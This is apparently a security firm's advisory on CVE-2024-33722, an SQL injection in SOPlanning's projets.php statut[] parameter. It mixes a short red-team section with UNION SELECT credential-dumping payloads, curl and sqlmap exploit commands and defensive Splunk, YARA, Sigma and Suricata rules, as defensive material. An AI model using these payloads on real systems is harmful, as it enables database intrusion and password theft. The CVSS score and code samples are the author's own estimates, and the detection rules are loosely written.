CVE-2024-33722

Executive Summary

CVE-2024-33722 is a critical SQL Injection vulnerability discovered in SOPlanning version 1.52.00. An authenticated attacker can exploit the projets.php endpoint by manipulating the statut[] parameter to inject arbitrary SQL commands. This flaw allows for unauthorized data access, modification, or deletion within the underlying database, potentially leading to full system compromise. The vulnerability is publicly known with a proof-of-concept available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains high due to the ease of exploitation and potential impact.

Supply Chain & Package Security

SOPlanning is a PHP-based web application. The vulnerability exists in the core application code, not in a third-party package. However, organizations using SOPlanning should verify the integrity of their installation and monitor for any unofficial patches or updates from the vendor. Since no patch is available, the supply chain risk is elevated, and users must implement compensating controls.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. Based on the vulnerability characteristics, a reasonable estimate is:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Threat Level: High. The vulnerability is easy to exploit, requires low privileges, and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability resides in the projets.php file of SOPlanning 1.52.00. The statut[] parameter is used to filter projects by status. The application fails to properly sanitize or parameterize the input before incorporating it into an SQL query. An authenticated attacker can inject malicious SQL code by sending a crafted HTTP request to the projets.php endpoint.

The injection point is likely within a WHERE clause that uses the statut values. For example, a normal request might look like:

POST /projets.php HTTP/1.1
...
statut[]=1&statut[]=2

An attacker can modify this to:

POST /projets.php HTTP/1.1
...
statut[]=1 UNION SELECT username,password FROM users--

This would cause the application to return sensitive data from other tables.

The vulnerability is classified under CWE-89 (SQL Injection). The lack of prepared statements or input validation allows the attacker to break out of the intended SQL syntax.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison cannot be made. However, the vulnerable code likely resembles:

// Vulnerable code (hypothetical)
$statut = $_POST['statut'];
$sql = "SELECT * FROM projets WHERE statut IN (" . implode(',', $statut) . ")";
$result = mysqli_query($conn, $sql);

A patched version would use prepared statements:

// Patched code (hypothetical)
$statut = $_POST['statut'];
$placeholders = implode(',', array_fill(0, count($statut), '?'));
$sql = "SELECT * FROM projets WHERE statut IN ($placeholders)";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, str_repeat('i', count($statut)), ...$statut);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid authenticated session to SOPlanning.
• Network access to the SOPlanning web interface.

Exploitation Steps:

1. Identify the vulnerable endpoint: The projets.php page with the statut[] parameter.
2. Craft a malicious request: Use a tool like curl or Burp Suite to send a POST request with injected SQL.

Example Exploit (using curl):

curl -X POST http://target.com/projets.php \
  -c cookies.txt -b cookies.txt \
  -d "statut[]=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"

Manual Exploitation (Burp Suite):

1. Intercept a normal request to projets.php with statut[] parameters.
2. Send to Repeater.
3. Modify the statut[] value to include SQL injection payloads.
4. Observe the response for errors or data leakage.

Automated Exploitation (sqlmap):

sqlmap -u "http://target.com/projets.php" \
  --data="statut[]=1" \
  --cookie="PHPSESSID=your_session_id" \
  --batch --dbs

Blue Team

Detection and Prevention:

1. Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection patterns in the statut[] parameter.
2. Input Validation: Implement strict validation on the server side to ensure statut[] values are integers or predefined strings.
3. Prepared Statements: Use parameterized queries for all database interactions.
4. Least Privilege: Ensure the database user used by the application has minimal permissions.
5. Logging and Monitoring: Enable detailed logging of all requests to projets.php and monitor for suspicious patterns.

Hunting Queries (Splunk):

index=web sourcetype=access_combined
uri="/projets.php"
| search statut[]=* UNION* OR statut[]=* SELECT* OR statut[]=* OR 1=1*
| table _time, src_ip, uri, user_agent, status

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /projets.php with abnormal statut[] values containing SQL keywords (UNION, SELECT, OR, AND, etc.).
  • Requests with multiple statut[] parameters where values are not simple integers.
  • Responses containing database error messages (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Unauthorized modifications to the SOPlanning database.
  • Presence of new files in the web root (e.g., webshells).

• Log IOCs:

  • Web server logs showing repeated requests to projets.php with varying statut[] values.
  • Database logs showing unexpected queries or errors.

Detection Engineering

YARA Rule

rule CVE_2024_33722_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-33722 in SOPlanning"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33722"
    strings:
        $s1 = "statut[]" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "AND" nocase
        $s6 = "1=1" nocase
        $s7 = "1=2" nocase
        $s8 = "sleep(" nocase
        $s9 = "waitfor delay" nocase
    condition:
        $s1 and (any of ($s2,$s3,$s4,$s5,$s6,$s7,$s8,$s9))
}

Sigma Rule

title: SQL Injection Attempt Against SOPlanning projets.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the statut[] parameter in SOPlanning
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33722
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "statut[]"
    keywords:
        - "UNION"
        - "SELECT"
        - "OR"
        - "AND"
        - "1=1"
        - "1=2"
        - "sleep("
        - "waitfor delay"
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word "OR" in a project name (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-33722 SQL Injection Attempt - SOPlanning projets.php";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/projets.php"; http_uri;
    content:"statut[]"; http_client_body;
    pcre:"/(UNION|SELECT|OR|AND|1=1|1=2|sleep\(|waitfor\s+delay)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2024-33722;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable functionality: If possible, restrict access to projets.php or disable the statut[] parameter until a patch is available.
2. Apply a virtual patch: Use a WAF to block SQL injection attempts targeting this specific parameter.
3. Upgrade: Monitor the SOPlanning vendor for an official patch. If none is released, consider migrating to an alternative solution.

Long-term Fixes:

1. Code Review: Conduct a thorough code review of all SQL queries in the application.
2. Implement Prepared Statements: Rewrite all database interactions to use parameterized queries.
3. Input Validation: Validate all user inputs against a whitelist of allowed values.
4. Security Training: Educate developers on secure coding practices to prevent SQL injection.

Workaround:

• If the application cannot be updated, consider using a reverse proxy with a WAF to inspect and sanitize requests to projets.php.

Valters IT